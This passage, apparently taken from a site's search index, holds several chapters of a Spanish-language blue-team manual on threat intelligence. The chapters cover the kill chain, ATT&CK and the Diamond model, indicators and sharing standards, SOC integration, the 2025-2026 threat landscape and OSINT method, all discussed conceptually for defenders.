modelos, porque cambia cómo se los usa: los modelos de análisis no describen la realidad, imponen una disciplina de razonamiento. La kill chain no es como ocurren los ataques; es una manera de obligarse a preguntar qué pasó antes y qué viene después. El modelo del diamante no es una ontología del adversario; es un procedimiento para no dejar de mirar ninguna de las cuatro caras de un incidente. ATT\u0026CK no es un catálogo completo del comportamiento hostil; es un vocabulario común que permite que dos analistas hablen de lo mismo. Discutir cuál modelo es «correcto» es discutir mal: la pregunta es qué disciplina impone cada uno y qué omite.\nLa kill chain: la cadena y sus eslabones El modelo de intrusión de Lockheed Martin descompone un ataque en siete fases sucesivas, y su argumento central es de una elegancia que explica su permanencia: el atacante tiene que completar la cadena entera; el defensor solo necesita romper un eslabón. Es la misma asimetría que el capítulo 3.1 enunció desde el lado ofensivo y que 5.1 recogió al abrir el bloque azul, ahora convertida en instrumento de trabajo.\nLas siete fases, con la oportunidad defensiva que cada una abre:\nReconocimiento. El adversario estudia al objetivo: superficie expuesta, personas, tecnología, proveedores. Es todo lo que la Parte 2 desarrolló. La contramedida es reducir lo que se puede averiguar y vigilar el escaneo, con la advertencia de que buena parte de esta fase es indetectable por construcción —consultar fuentes públicas no toca la infraestructura de la víctima—.\nArmamentización. El adversario acopla la carga con el vector de entrega: el documento con macro, el instalador troyanizado, el binario empaquetado. Ocurre enteramente en su propia infraestructura, de modo que no hay telemetría defensiva de esta fase; lo único observable son sus residuos —artefactos de compilación, reutilización de herramientas, el empaquetador que 1.2 identificó como punto de estrangulamiento—.\nEntrega. El arma llega al objetivo: correo dirigido, sitio comprometido, medio extraíble, proveedor intervenido. El modelo la señala como la mejor oportunidad de bloqueo, y con razón: es el primer momento en que la actividad hostil toca infraestructura propia, y todavía no hay ejecución. Es el terreno de 5.3.\nExplotación. El código se ejecuta aprovechando una vulnerabilidad o —cada vez más— la decisión de un usuario. La mitigación es endurecimiento y parcheo, priorizado por señal de explotación y no por severidad publicada, según argumentó 1.2.\nInstalación. El adversario establece permanencia. Es el terreno de 5.10 y de la mitad correspondiente de 5.2: la única fase que, como se argumentó allí, deja un artefacto que tiene que quedarse quieto para funcionar.\nMando y control. El implante abre su canal. El modelo la llama la última mejor oportunidad de bloqueo, y esa formulación es exactamente la paradoja que 5.7 desarrolló desde el lado azul: el implante puede cifrar, imitar y esconderse, pero no puede dejar de comunicar.\nAcciones sobre objetivos. Exfiltración, sabotaje, fraude, cifrado extorsivo. Lo que 5.9 cubrió.\nEl valor durable de este modelo no está en las siete etiquetas sino en dos consecuencias operativas. La primera es que convierte alertas aisladas en campañas: una alerta sin fase es un evento; una alerta ubicada en la cadena plantea de inmediato las dos preguntas correctas —qué la precedió y qué viene ahora—, y esa es la disciplina que más rinde en el triaje. La segunda es que exige detecciones superpuestas: si cada fase es una oportunidad, entonces una defensa que concentra todo su instrumental en una sola fase es frágil por diseño, por buena que sea esa detección.\nLos tres límites de la cadena La kill chain sigue enseñándose como si describiera los ataques. No lo hace, y sus tres desajustes con la realidad contemporánea importan porque cada uno induce un error defensivo concreto.\nEs lineal, y la intrusión real es cíclica. El modelo presenta una progresión de un solo sentido. Lo que 5.6 describió es otra cosa: obtenido el primer punto de apoyo, el adversario vuelve a reconocer —ahora desde adentro—, vuelve a obtener credenciales, vuelve a moverse, vuelve a persistir, y repite ese bucle por cada host y cada nivel de privilegio hasta llegar al objetivo. La cadena se recorre muchas veces, anidada y en paralelo. El error que induce la lectura lineal es dar por terminada la investigación al encontrar «la» cadena, cuando lo que había eran doce.\nTermina donde el incidente empieza. Seis de las siete fases describen la entrada; todo lo que ocurre después del compromiso —movimiento lateral, escalada, recolección, evasión, sabotaje de la defensa— queda comprimido en «acciones sobre objetivos». Justamente la parte donde el defensor tiene más telemetría y más tiempo para actuar es la que el modelo casi no resuelve, y ese desequilibrio es la razón histórica por la que apareció ATT\u0026CK.\nEs perímetro-céntrica. Presupone que hay una carga que se entrega y se ejecuta. Los casos que el bloque azul documentó como más difíciles no tienen ninguna de las dos cosas: el robo y reproducción de un token de sesión que derrota la autenticación multifactor sin malware alguno (5.3), la exfiltración desde un servicio en la nube que nunca cruza la red corporativa (5.9), el abuso de un token de identidad de servicio contra una API. En esos casos preguntar «¿en qué fase de la cadena estamos?» no ayuda: no hubo entrega, no hubo explotación, no hubo instalación, y sin embargo hubo compromiso.\nCómo usarla igual. Ninguno de los tres límites invalida el modelo; invalidan una lectura ingenua. La kill chain sigue siendo el mejor instrumento disponible para dos tareas concretas: comunicar un incidente a una audiencia no especializada —su virtud pedagógica es real— y auditar cobertura de forma gruesa, preguntando qué detecciones existen para cada fase y encontrando el hueco. Para modelar lo que realmente hizo un adversario dentro de la red, se usa ATT\u0026CK. ATT\u0026CK: de la secuencia a la matriz El cambio conceptual de ATT\u0026CK es abandonar la secuencia. En lugar de una progresión de fases, propone una matriz: columnas que son tácticas —el objetivo que el adversario persigue en ese momento: acceso inicial, ejecución, persistencia, escalada, evasión, acceso a credenciales, descubrimiento, movimiento lateral, recolección, mando y control, exfiltración, impacto— y, dentro de cada una, las técnicas concretas con que ese objetivo se consigue.\nLa distinción que hace funcionar el marco es la de tres niveles de abstracción. La táctica responde por qué: qué buscaba el adversario. La técnica responde cómo: de qué manera general lo consiguió —autenticación con material robado, ejecución mediante un binario legítimo del sistema—. El procedimiento responde con qué exactamente: la herramienta y los parámetros específicos de un actor concreto. Esa escala es la misma jerarquía de costo de evasión que la pirámide del dolor de 5.1 describió: el procedimiento se cambia barato, la técnica sale cara, la tác","section":"P1 · Threat Intelligence y el adversario","summary":"La fase donde el dato se convierte en juicio. Recorre los tres modelos que estructuran el análisis —la kill chain de Lockheed Martin y sus tres límites, ATT\u0026CK como matriz que reemplazó a la secuencia, y el modelo del diamante cuyo valor real es el pivoteo— y sostiene que ninguno describe la realidad: imponen una disciplina de razonamiento. De ahí la segunda mitad: el enemigo del analista no es la falta de datos sino el sesgo, y por eso el análisis de hipótesis en competencia, el lenguaje calibrado de la incertidumbre y la contención de la atribución prematura valen más que cualquier herramienta.","tags":["threat-intel","cti","kill-chain","att\u0026ck-ttp","ciclo-inteligencia","atribucion","blue-team"],"title":"1.3 · Modelos de análisis: kill chain, Diamond, ATT\u0026CK y método estructurado","url":"/speculum/p1-threat-intel/1-3-modelos-analisis/"},{"content":"Panorama El capítulo 1.3 terminó con un juicio: una afirmación sobre qué está ocurriendo, sostenida por evidencia que discrimina, expresada con su probabilidad y su confianza declaradas por separado. Ese juicio, mientras siga dentro de la cabeza del analista o dentro de un documento que nadie abrió, vale exactamente lo mismo que no haberlo producido. La diseminación es la fase donde el ciclo se cobra o se pierde, y es también la que menos atención recibe, porque parece administrativa: ya se hizo el trabajo difícil, ahora solo hay que mandarlo.\nEsa impresión es falsa por una razón estructural. La inteligencia producida tiene que llegar a dos destinatarios de naturaleza incompatible. Uno es una máquina: un SIEM que correlaciona, un EDR que bloquea, un proxy que resuelve una lista, un motor de reglas que evalúa cada archivo entrante. Ese destinatario no entiende prosa, no tolera ambigüedad y no puede preguntar. El otro es una persona que decide: un analista de guardia, un responsable de respuesta, un director que asigna presupuesto. Ese destinatario no puede consumir cien mil observables, necesita contexto, y lo que le hace falta es precisamente lo que la máquina descarta.\nDe ahí la tesis del capítulo: el estándar existe para que la inteligencia llegue a una máquina sin pasar por un humano, y el informe existe para que llegue a un humano que decide; son dos productos distintos, y confundirlos es el fallo de diseminación más común. Es la misma familia del «fallo de nivel» que 1.1 señaló como el error más caro del campo —producir para un consumidor y entregárselo a otro—, ahora en su forma de formato en lugar de su forma de altitud. Un informe ejecutivo de veinte páginas enviado al SOC se archiva sin leerse; un volcado de cuarenta mil direcciones IP enviado a la dirección no produce ninguna decisión. En los dos casos el ciclo se completó formalmente y no cambió nada.\nLa segunda tesis es sobre la unidad misma que se disemina: un indicador sin contexto ni caducidad es deuda operativa. Cuesta ingerirlo, cuesta almacenarlo, cuesta el falso positivo que genera dentro de seis meses cuando la dirección que lo compone se reasignó a un servicio legítimo, y cuesta la desconfianza que instala en los analistas que lo reciben. La calidad de la diseminación no se mide por volumen entregado sino por lo contrario: por cuánto de lo entregado resultó accionable y por cuánto se retiró a tiempo.\nEl indicador y sus grados Un indicator of compromise (IOC) es un artefacto observable en un sistema o en una red cuya presencia sugiere una intrusión. La definición es deliberadamente débil —«sugiere»— y conviene conservarla así: el indicador es una razón para mirar, no un veredicto. Su valor práctico principal es que ofrece una vía de detección para actividad que todavía no tiene firma: cuando una campaña es nueva, nadie publicó aún una regla del proveedor, pero alguien ya observó el dominio al que llama o la ruta donde deja su carga, y eso se puede buscar hoy.\nLos indicadores se ordenan en un continuo que va de lo estático a lo conductual, y ese continuo es el eje que organiza todo lo demás.\nIndicadores atómicos. Un hash, una dirección IP, un dominio, una dirección de correo remitente, un nombre de archivo. Su virtud es que se evalúan sin ambigüedad y a costo nulo: una comparación exacta. Su defecto es proporcional: el adversario los cambia sin cambiar nada de su operación. Un hash muere con la primera recompilación.\nIndicadores computados. Reglas que derivan de la estructura del artefacto en lugar de su identidad exacta: una firma YARA sobre cadenas y secciones, una expresión regular sobre un patrón de nombres generados, una medida de entropía. Sobreviven a la variante y no al rediseño.\nIndicadores conductuales. Afirmaciones sobre lo que el adversario hace, que requieren correlación para evaluarse: un proceso de ofimática que engendra un intérprete de línea de comandos, una cuenta de servicio que recorre un árbol de recursos que su aplicación nunca consulta, tráfico saliente con periodicidad acotada hacia un destino recién registrado. No se comparan, se calculan sobre una ventana de eventos, y por eso su ingesta no es una lista sino una regla.\nEl material de referencia cataloga alrededor de quince escenarios de este último tipo —anomalías de tráfico saliente, escalada injustificada de privilegios en cuentas conocidas, accesos desde geografías atípicas, volúmenes de lectura masivos sobre una base de datos, modificaciones de claves de registro que solo se detectan comparando contra un perfil limpio, agrupamiento de datos en directorios temporales inusuales— y lo notable es que este manual ya desarrolló cada uno de ellos desde el lado de la telemetría: el tráfico saliente en 5.7, la lectura masiva y el staging en 5.9, el registro y la línea base en 5.2. Lo que aporta este capítulo no es la lista, es qué se hace con ella cuando hay que entregarla a otro.\nLa razón de ser del continuo ya está establecida en 5.1 con la pirámide del dolor y no se rehace acá. Basta con su consecuencia para la diseminación: lo que sube en la pirámide baja en la automatizabilidad. Un hash se ingiere solo; un comportamiento hay que escribirlo, adaptarlo al esquema de datos local y verificarlo. Un programa que solo disemina lo que se ingiere sin esfuerzo termina diseminando, por construcción, lo que menos daño le hace al adversario.\nLa caducidad es un atributo del tipo, no una política uniforme. Un hash de una muestra concreta no caduca —el archivo sigue siendo el archivo— pero deja de aparecer. Una dirección IP de infraestructura alquilada caduca en días y se vuelve activamente peligrosa cuando se reasigna. Un dominio registrado por el adversario caduca cuando expira o se incauta. Una regla conductual no caduca en absoluto, pero se degrada si el entorno cambia. Un programa maduro asigna la ventana de vigencia en el momento de crear el indicador, no cuando alguien se queja del falso positivo. Qué tiene que viajar con el indicador El indicador desnudo —una cadena de texto en una lista— es la forma más común de diseminación y la peor. Lo que lo convierte en algo utilizable es el conjunto de atributos que lo acompañan, y cada uno responde a una pregunta que el receptor va a hacerse igual, con o sin respuesta.\nContexto: qué representa. No «esta IP es maliciosa» sino «servidor de mando y control asociado a la familia X observado en la campaña Y». Sin eso, el analista que recibe la alerta no puede decidir su prioridad ni su respuesta.\nProcedencia y evaluación: de dónde salió y cuánto se le cree. Acá es donde el código del Almirantazgo que 1.2 desarrolló deja de ser un ejercicio interno y cumple su función real: la calificación tiene que viajar pegada al dato. Un indicador que llega con «fuente B, credibilidad 3» permite una decisión distinta de uno que llega con «fuente A, credibilidad 1», y esa distinción es exactamente la que se pierde cuando una plataforma comercial colapsa las dos dimensiones en un puntaje único de riesgo.\nVigencia: desde cuándo y hasta cuándo. Un indicador sin fecha de expiración no se retira nunca, porque nadie tiene el incentivo de revisarlo.\nRelaciones: con qué otros objetos se conecta —el dominio con la muestra, la muestra con el actor, el actor con la campaña—. Es lo que permite el pivoteo que 1.3 identificó como el verdadero valor del modelo del diamante.\nAcción sugerida: qué se espera que el receptor haga. Bloquear, alertar, buscar retroactivamente, solo enriquecer. Un mismo indicador con confianza media es un buen candidato de cacería y un pésimo candidato de bloqueo automático, y esa diferencia hay que decirla, no dejarla inferir.\nEste conjunto es el que la sección siguiente formaliza. Los estándares no son otra cosa que un acuerdo sobre cómo se escriben estos campos para que dos organizaciones que nunca hablaron entre sí puedan intercambiarlos sin traducción manual.\nLos estándares: que la inteligencia llegue a la máquina STIX y TAXII Structured Threat Information Expression (STIX) e","section":"P1 · Threat Intelligence y el adversario","summary":"La fase que decide si todo lo anterior sirvió de algo. Recorre la anatomía del indicador —de los estáticos a los conductuales, y por qué uno sin contexto ni caducidad es deuda operativa—, los estándares que permiten que la inteligencia llegue a una máquina sin pasar por un humano (STIX, TAXII, MISP, YARA, Sigma), la plataforma que los agrega y el informe que llega a la persona que decide. Su tesis: la máquina y el humano son dos productos distintos, y confundirlos es el fallo de diseminación más común.","tags":["threat-intel","cti","ioc","stix-taxii","sigma","yara","tlp","ciclo-inteligencia","blue-team"],"title":"1.4 · Indicadores, estándares y diseminación","url":"/speculum/p1-threat-intel/1-4-indicadores-diseminacion/"},{"content":"Panorama El ciclo que 1.1 estableció tiene seis fases y termina en la diseminación. Ese es su defecto de diseño como modelo: sugiere que entregar es llegar. No lo es. Entre el producto correctamente entregado y el cambio efectivo en la postura defensiva hay un tramo que ningún diagrama del ciclo dibuja, y que se recorre —o no— dentro del centro de operaciones.\nEse tramo es el objeto de este capítulo, y conviene delimitarlo con precisión porque el manual ya cubrió lo que está a ambos lados. Cómo se construye una detección, cómo se itera y cómo se mide su fidelidad está en 5.1 y 5.2; cómo se acota y se contiene un incidente está en 5.4. Nada de eso se rehace acá. Lo que se trata es la interfaz: quién consume qué producto, en qué momento del turno, con qué mecanismo, y por dónde vuelve lo aprendido. Es un capítulo sobre articulación organizativa, no sobre técnica de detección.\nLa tesis es la que ordena todo el resto: la inteligencia que no cambia una regla, una prioridad de parcheo o una decisión de arquitectura no se consumió, por bien producida y bien entregada que estuviera. Y su corolario incómodo, que reaparecerá en la sección de métricas: la medida de un programa no es cuántos indicadores ingiere sino cuántas detecciones y cuántos hallazgos de cacería produce. Es la oposición entre métrica de efecto y métrica de actividad que 1.1 planteó en abstracto, aterrizada en el único lugar donde puede verificarse.\nLos tres puntos de inyección El error más común al conectar un programa de inteligencia con un SOC es tratarlo como una fuente más que desemboca en un solo lugar —normalmente el SIEM— y esperar que el resto ocurra. No ocurre. Los tres niveles de 1.1 no son tres calidades del mismo producto: son tres productos que entran al centro de operaciones por puertas distintas, en momentos distintos y con destinatarios distintos.\nTáctico: enriquecer el triaje, no generar alertas El nivel táctico entra en el momento del triaje, y su función es priorización de primer corte a velocidad de máquina: cuando una alerta ya existente coincide con inteligencia conocida, su criticidad sube y llega al analista con el contexto adjunto —de qué campaña se trata, qué se observó antes, qué se espera después—. El efecto sobre la operación es doble: reduce el tiempo que el analista gasta averiguando qué está mirando y reordena la cola por algo mejor que el orden de llegada.\nAcá hay una distinción que decide el éxito o el fracaso de toda la integración, y que casi nunca se enuncia: enriquecer no es alertar. La inteligencia táctica debe modificar la prioridad y el contexto de eventos que el SOC ya estaba generando; no debe convertirse en una fuente autónoma de alertas. Un feed conectado como generador produce, el primer día, un volumen de alertas proporcional a su tamaño y no a la actividad real de la organización —cada coincidencia con una lista de decenas de miles de observables es una alerta— y el resultado previsible es que el SOC lo silencie en una semana. Conectado como enriquecedor, el mismo feed no agrega ni una alerta y mejora todas.\nLa excepción legítima es estrecha y vale nombrarla: indicadores de altísima confianza, de origen propio o de procedencia verificable, ligados a una campaña activa contra la organización. Esos sí justifican una alerta propia. El resto enriquece. Es la misma regla de reserva que 1.4 estableció para el bloqueo automático, aplicada un escalón más abajo.\nOperativo: la cacería y el acotamiento El nivel operativo no entra por el SIEM sino por las personas: alimenta la formulación de hipótesis de cacería y el acotamiento durante un incidente. Su forma no es una lista sino una descripción de comportamiento —cómo opera un actor, en qué orden, con qué herramientas— y su consumo no es automático por definición: alguien tiene que leerlo y traducirlo a una consulta sobre la telemetría propia.\nLa cacería estructurada de 5.1 formula hipótesis a partir de tácticas de ATT\u0026CK y de los activos críticos. La inteligencia operativa aporta la tercera entrada, y es la que hace que la hipótesis sea pertinente en lugar de genérica: no «¿hay ejecución remota por WMI en la red?» sino «¿hay ejecución remota por WMI con la secuencia que este actor usa contra este sector?». Esa diferencia es la que separa una cacería que se ejecuta una vez de una que justifica su costo.\nEn respuesta a incidentes, el aporte es distinto: acorta el acotamiento. Saber que un actor determinado suele establecer una segunda persistencia de otro tipo cambia dónde busca el equipo antes de contener, que es precisamente la operación que 5.4 identificó como condición para que la contención sea completa y simultánea en lugar de un juego de golpear topos.\nEstratégico: parcheo, arquitectura y presupuesto El nivel estratégico no entra al SOC en absoluto, y confundirlo es el fallo de nivel de 1.1 en su forma más común. Entra a las decisiones que determinan qué tendrá que defender el SOC dentro de un año: qué se parchea primero, qué se segmenta, qué control se compra, dónde se pone el próximo sensor.\nDe los tres, es el que produce el retorno más alto y el que menos se mide, porque su efecto es diferido y contrafáctico —un incidente que no ocurrió no aparece en ninguna consola—. El caso concreto más repetible es la priorización de parcheo por señal de explotación en lugar de por severidad publicada, que 1.2 desarrolló: es una decisión estratégica cuyo efecto se mide en el SOC, en la forma de una clase entera de alertas que dejan de producirse.\nflowchart TD PROG[\"Programa de inteligencia\\n(producto diseminado, 1.4)\"] PROG --\u003e|\"TÁCTICO\\nformato de máquina\"| TRI[\"Triaje del SOC\\nENRIQUECE la alerta existente\\n(prioridad + contexto)\\n⚠ no genera alertas propias\"] PROG --\u003e|\"OPERATIVO\\ninforme técnico + ATT\u0026CK\"| CAZ[\"Cacería e IR\\nhipótesis pertinente\\nacotamiento antes de contener\"] PROG --\u003e|\"ESTRATÉGICO\\nnota breve\"| DIR[\"Dirección y arquitectura\\nparcheo por señal de explotación\\nsegmentación · sensores · compras\"] TRI --\u003e INC[\"Incidente confirmado\"] CAZ --\u003e INC DIR -.-\u003e|\"efecto diferido:\\nalertas que dejan de existir\"| TRI INC --\u003e IR[\"Investigación (5.4)\\nartefactos · infraestructura · TTP\"] IR --\u003e PROD[\"⚑ EL PASO QUE SE ROMPE\\ndestilar el hallazgo:\\nindicador local + regla + informe\"] PROD --\u003e PROG PROD --\u003e EXT[\"Compartir (ISAC / TLP, 1.4)\"] PROD -.-\u003e|\"realimenta requerimientos (1.1)\\ny retro-hunt (5.7)\"| PROGEl caso canónico, y dónde falla El material de referencia describe un recorrido de extremo a extremo que conviene reproducir entero, porque es el modelo mental que casi todo el mundo tiene de «CTI operativa»:\nUn analista extrae el hash de un adjunto malicioso de un informe externo. Lo convierte en una regla y la inyecta en el SIEM. Un usuario descarga el archivo; el EDR genera su alerta; el SIEM cruza esa alerta con la regla de inteligencia y eleva automáticamente la criticidad. El analista recibe el evento ya enriquecido, aísla el equipo de forma remota y extrae la muestra para analizarla en un entorno controlado. Del análisis surge una dirección de red de mando y control que no estaba en el informe original. El SOC exporta ese indicador nuevo hacia la plataforma de intercambio, y los pares del sector quedan protegidos antes de sufrir el mismo ataque.\nEs una descripción correcta y útil de la mecánica. También es optimista en tres puntos precisos, y esos tres puntos son donde la integración real se rompe.\nPrimero, el indicador atómico solo funciona si el adversario no cambió nada. El recorrido empieza con un hash, que es el escalón más frágil de todos: una recompilación lo invalida. El caso funciona porque supone que la muestra que llega es idéntica a la del informe. En la práctica esa suposición falla la mayor parte de las veces contra un adversario dirigido, y lo que hay que ingerir es la descripción de comportamiento, no el resumen del archivo. La conclusión no es que el hash sea inútil —cuesta nada y a veces acierta— sino que un programa que solo hace esto tiene la ilusión de estar operando inteli","section":"P1 · Threat Intelligence y el adversario","summary":"El puente entre el programa de inteligencia y el centro de operaciones: los tres puntos donde cada nivel se inyecta, el caso canónico de extremo a extremo y los tres lugares donde falla en la realidad, el bucle de realimentación que convierte al equipo de respuesta en productor, la célula de análisis y su única condición de existencia, y las métricas que distinguen un programa que cambia decisiones de uno que solo ingiere indicadores.","tags":["threat-intel","cti","soc","threat-hunting","incident-response","metricas","ciclo-inteligencia","blue-team"],"title":"1.5 · CTI operativa: del feed a la detección en el SOC","url":"/speculum/p1-threat-intel/1-5-cti-en-el-soc/"},{"content":"Panorama Los cinco capítulos anteriores construyeron un método: formular requerimientos, colectar bajo esa restricción, analizar con disciplina, diseminar en el formato del consumidor y verificar en el centro de operaciones si algo cambió. Este capítulo aplica ese método a su objeto. Es el producto estratégico del ciclo —el nivel que 1.5 sacó deliberadamente del SOC para llevarlo a las decisiones de arquitectura, parcheo y presupuesto— y por eso su forma es distinta a la de todos los demás capítulos del manual: no describe un mecanismo, describe un momento.\nEste es el único capítulo del manual con fecha de vencimiento, y conviene decirlo antes de la primera cifra. Está escrito a mediados de 2026 sobre dos informes: uno publicado a comienzos de 2026 con balance del año anterior, y otro que cubre el segundo semestre de 2025. Las cifras concretas —cuántas variantes, cuántas víctimas publicadas, qué familias encabezaron qué lista— son las que primero pierden validez, y la mayoría ya envejeció mientras se leía. Lo que se busca conservar acá no son los números sino la dirección del cambio y, sobre todo, el método para leer el próximo informe sin tener que reescribir este capítulo. Todo lo que sigue debe leerse con esa marca puesta. De ahí la tesis: el panorama no se lee por sus cifras sino por su dirección. Un informe anual responde bien a «cuánto hubo» y mal a «hacia dónde va»; la segunda pregunta es la única que sirve para decidir dónde poner un sensor o qué arquitectura cambiar, porque las decisiones de esa clase tardan meses en implementarse y años en amortizarse. Leer el panorama buscando el número más alto produce una respuesta táctica a un insumo estratégico, que es la forma que adopta acá el fallo de nivel de 1.1.\nCómo se lee un informe de panorama Esta sección es la que se pretende durable, y por eso va antes que el contenido. Todo informe de panorama —de proveedor, de agencia, de consorcio— trae incorporado un sesgo que no es deshonestidad sino geometría: cada publicación describe lo que sus sensores ven. Un fabricante de cortafuegos describe el perímetro; uno de EDR describe la ejecución en el endpoint; una empresa de inteligencia describe los foros y la infraestructura que rastrea. Ninguno miente y ninguno ve el panorama.\nEse es exactamente el problema que 1.2 enunció —el sesgo de selección de fuentes se convierte en sesgo de conclusiones, y el silencio se lee como ausencia de amenaza en lugar de ausencia de datos—, ahora en su versión más consumida. Tres correcciones prácticas antes de citar cualquier informe:\nPreguntar de qué telemetría sale cada cifra. «Las detecciones en el endpoint bajaron» puede significar que hay menos ataques, que el producto mejoró, que los ataques se volvieron menos detectables por ese producto, o que cambió la base instalada de clientes. Los informes serios suelen decir cuál, en una nota al pie que casi nadie lee. La caída de detecciones que acompaña a un aumento de variantes únicas, por ejemplo, admite las dos lecturas opuestas a la vez.\nDistinguir volumen de capacidad. Un aumento del 33 % en variantes nuevas de programa de extorsión suena a una mejora del adversario, y el propio informe aclara que no lo es: la mayoría de esas variantes nace de constructores y código filtrado de familias preexistentes. Hay más actores y no mejores actores. Esa distinción cambia completamente la respuesta defensiva, y se pierde si uno se queda con el titular.\nDesconfiar de las métricas que produce el adversario. Es la corrección menos habitual y la más importante.\nLos recuentos de víctimas de extorsión salen de los sitios de filtración, que son la vitrina publicitaria del atacante. Esa fuente es controlada íntegramente por la parte interesada: publica a quien no pagó —el que pagó rara vez aparece—, tiene incentivo directo a inflar para atraer afiliados, reutiliza víctimas entre marcas cuando un grupo se refunda, y a veces publica accesos revendidos como si fueran intrusiones propias. En términos del código del Almirantazgo de 1.2, es una fuente de fiabilidad baja con un interés declarado en el contenido, y sin embargo se cita como si fuera un registro contable. Un máximo histórico de víctimas publicadas mide, en el mejor de los casos, la actividad de publicación; el volumen real de extorsión no es observable desde afuera. Sirve para leer tendencia relativa y proporción entre grupos, no para afirmar magnitudes. Con esas tres correcciones puestas, el contenido se vuelve utilizable.\nTres direcciones del cambio flowchart TD subgraph D1[\"① ACCESO SIN MALWARE\"] A1[\"Infostealer → credenciales y cookies\\nIAB revenden el acceso\\nla sesión válida derrota al MFA\"] A2[\"disuelve: el vector como artefacto\\nno hay archivo que analizar\"] end subgraph D2[\"② EJECUCIÓN SIN BINARIO PROPIO\"] B1[\"Entrega sobre TLS (dropper)\\nLOLBAS desplaza al script\\ninyección en memoria\"] B2[\"disuelve: la firma y el perímetro\\nel binario es legítimo y firmado\"] end subgraph D3[\"③ INDUSTRIALIZACIÓN DEL INTERMEDIARIO\"] C1[\"RaaS fragmentado por código filtrado\\nMaaS · afiliados · IA como acelerador\"] C2[\"disuelve: la barrera de capacidad\\nmás actores, no mejores\"] end D1 --\u003e INT[\"Intrusión\"] D2 --\u003e INT D3 --\u003e INT INT -.-\u003e|\"se contesta en\"| R1[\"identidad y correo (5.3)\\nexfil y SaaS (5.9)\"] INT -.-\u003e|\"se contesta en\"| R2[\"caza de C2 (5.7)\\nmalware y evasión (5.8)\\ntelemetría de ejecución (5.2)\"] INT -.-\u003e|\"se contesta en\"| R3[\"comportamiento, no familia\\n→ pirámide del dolor (5.1)\"]Acceso sin malware La primera dirección es la más consolidada: el acceso inicial se compra o se roba en lugar de fabricarse. El mecanismo tiene tres piezas encadenadas. Los infostealers —programas cuyo único trabajo es extraer credenciales guardadas, cookies de sesión y carteras de criptomonedas— alimentan un mercado de credenciales corporativas. Los initial access brokers profesionalizan la reventa de ese acceso a quien vaya a monetizarlo. Y los grupos de extorsión entran con credenciales válidas, sin exploit y sin carga que un antivirus pueda examinar.\nEste manual ya recorrió las dos mitades de esa dirección. Los stealer logs como fuente y como mercado están en 2.6; la detección del acceso resultante está en 5.3, y en particular el punto que esta dirección vuelve central: una autenticación exitosa no implica legitimidad, porque una sesión robada llega ya autenticada y el segundo factor no se opone a nada. La consecuencia estratégica —que es lo que corresponde a este capítulo— es que el control con mayor retorno frente a esta dirección no es de detección sino de arquitectura: autenticación resistente al phishing, vinculación de sesión al dispositivo, y reducción de la vida útil del token. Y que la respuesta a un compromiso de identidad se mide en revocación de sesiones y de tokens, no en cambio de contraseña.\nEjecución sin binario propio La segunda dirección es la que más afecta al diseño de la detección, y tiene dos capas que se refuerzan.\nEn la entrega, el canal cifrado se consolidó como el escondite por defecto: la mayor parte del malware observado en el perímetro llega sobre HTTPS, y las familias dominantes son droppers con carga diferida cuya única función es traer lo demás una vez adentro. La consecuencia es la que 5.7 desarrolló y conviene repetir acá porque es una decisión de arquitectura y no de operación: sin inspección de TLS, el perímetro ve metadatos de destino y no contenido. Ese hecho no se resuelve comprando otro producto perimetral; o se acepta el costo real de la inspección —técnico, de privacidad, de pinning— o se diseña la detección para no depender de ella, moviendo el peso al endpoint y a las señales de forma. Lo que no funciona es suponer que el perímetro ve lo que ya no ve.\nEn la ejecución, los binarios legítimos del sistema desplazaron a los scripts como vector principal. Es la maduración de una técnica que el manual trató en varios lugares —5.8 la midió empíricamente al comprobar que una entrega vía instalador legítimo atraviesa controles que se apoyan en la reputación ","section":"P1 · Threat Intelligence y el adversario","summary":"El producto estratégico del ciclo, y el único capítulo del manual con fecha de vencimiento. Antes que las cifras —que caducan— desarrolla cómo se lee un informe de panorama sin heredar el sesgo de visibilidad de quien lo publica, y luego las tres direcciones del cambio en 2025-2026: acceso sin malware, ejecución sin binario propio e industrialización del intermediario. Cierra con lo que no cambió, que suele ser lo más caro, y con el cierre de la Parte 1.","tags":["threat-intel","cti","ransomware","infostealer","lolbas","ia-seguridad","actores-estado","blue-team"],"title":"1.6 · El panorama de amenazas: actores, cibercrimen e IA","url":"/speculum/p1-threat-intel/1-6-panorama-amenazas/"},{"content":"Panorama Abrir un navegador y buscar el nombre de un objetivo no es OSINT. La inteligencia de fuentes abiertas —Open Source Intelligence— es la recolección y el análisis disciplinados de información pública sobre personas, entidades e infraestructura, y su rasgo definitorio es que el dato crudo no es inteligencia: un correo electrónico, una foto o una dirección IP son solo hechos sueltos hasta que un método los sitúa en contexto, los corrobora y los convierte en una conclusión defendible. Este capítulo abre la Parte 2 y es su marco, del mismo modo que la metodología de pentest (3.1) abre la explotación: no enseña qué buscar por objetivo —eso lo hacen los capítulos siguientes— sino cómo trabajar para que lo encontrado tenga valor.\nDos pilares sostienen ese salto de dato a inteligencia. El primero es el método: el ciclo repetible que va de recibir la misión a entregar un reporte, con la disciplina de articular la pregunta antes de tocar el teclado y de pivotar ordenadamente de un identificador al siguiente. El segundo es el OPSEC del investigador —operational security—: la infraestructura no atribuible que protege la identidad de quien investiga y, sobre todo, la integridad de la evidencia. Y por encima de ambos gobierna la ética: como el OSINT toca la privacidad de personas reales, la decisión de cuándo y hasta dónde aplicar las técnicas es tan parte del oficio como las técnicas mismas.\nEl material es dual-use por naturaleza. El mismo tradecraft alimenta tres oficios: el recon ofensivo del red team (footprinting y pretexting antes del ataque, que desemboca en 3.1 y en el reconocimiento de Active Directory (4.1)), la investigación blue/CTI (atribución de actores, respuesta a incidentes, threat intelligence), y la defensa de la superficie propia (saber qué expone la organización para reducirlo). El registro de este capítulo es neutro y su encuadre, educativo y defensivo.\nflowchart LR I[\"Intake\\n(la misión)\"] --\u003e T[\"Triage\\n(articular LA pregunta\\n+ contexto)\"] T --\u003e K[\"Knolling\\n(VPN · VM limpia ·\\ncuentas encubiertas)\"] K --\u003e O[\"Colección\\n(premium → open-source ·\\ndisciplina de pestañas)\"] O --\u003e C[\"Captura\\n(con la página fuente ·\\ndate/hash/URL)\"] C --\u003e P[\"Pivoteo\\n(saltar al siguiente\\nidentificador)\"] P --\u003e|\"dato nuevo\"| O P --\u003e R[\"Reporte\\n(face-sheet · narrativa ·\\nsourcing)\"] classDef n fill:#1e293b,stroke:#475569,color:#e2e8f0; class I,T,K,O,C,P,R n;La disciplina antes que la herramienta: el ciclo OSINT El error más común del principiante es «meterse a internet a los tumbos». El analista profesional empieza por el triage: articular la pregunta y confirmarla por escrito con quien encarga el trabajo —«se busca el nombre legal y las direcciones de quien controla tal correo, y hay dos horas, 